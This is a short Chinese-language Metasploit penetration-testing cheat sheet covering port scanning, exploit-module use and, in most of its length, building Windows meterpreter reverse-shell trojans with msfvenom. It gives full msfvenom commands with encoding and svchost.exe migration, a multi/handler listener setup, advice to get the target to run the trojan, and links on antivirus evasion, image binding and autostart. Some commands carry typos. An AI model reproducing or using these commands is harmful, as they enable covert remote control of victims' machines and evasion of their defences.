LINUX(四)渗透测试metasploit

攻击方式 利用漏洞 利用后门
一 利用漏洞
1 扫描端口
(一)使用msf扫描
(1)查看可用端口

search portscan

(2)使用扫描模块

use *****

(3)查看配置选项，配置扫描模块

show options
set LPOST ***

(4)运行扫描模块

run

(二)使用nmap 扫描

nmap -O -Pn/-p0 IP

nmap -sV IP

2 搜索漏洞

search 服务名(version)

3 使用漏洞模块

use ***

4 配置漏洞模块

show options
set HOST IP

5 发起进攻

exploit

二 利用木马
1 生成木马（固定写法）

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=192.168.1.5 lport=6666 -f exe > hack.exe

捆绑svchost.exe应用程序

msfvenom -p windows/meterpreter/reverse_tcp  --platform LHOST=192.168.1.4 LPORT=5555 -e x86/shikata_ga_nai -i 12 -b '\x00\' PrependMigrate=true PrependMIgrateProx=svchost.exe  -f exe > /root/Desktop/shellcode.exe

-p 选择payload
-e 选择编码器
-i 编码次数
-f 编译后的格式
-x 捆绑程序
-a 系统位数 x64 x86 x86_64

想办法让靶机执行木马
2 服务器启动接受木马请求
打开数据库服务

 service postgresql start

启动metasploit

msfconsole

选择攻击模块

use exploit/multi/handler

设置payload

set payload windows/meterpreter/reverse_tcp

查看设置选项，配置HOST PORT

show options

启动服务

run

免杀
https://blog.csdn.net/weixin_40602516/article/details/81144189
https://blog.csdn.net/zsc201825/article/details/80918185
https://blog.csdn.net/weixin_39997829/article/details/80001681

图片捆绑
https://blog.csdn.net/xiaoi123/article/details/78915374

自己自启
https://www.cnblogs.com/findumars/p/6435434.html

使用mingw32 自研
apt-get install mingw-w64

修改FakeImageExploiter.sh文件，替换成i686-w64-mingw32-gcc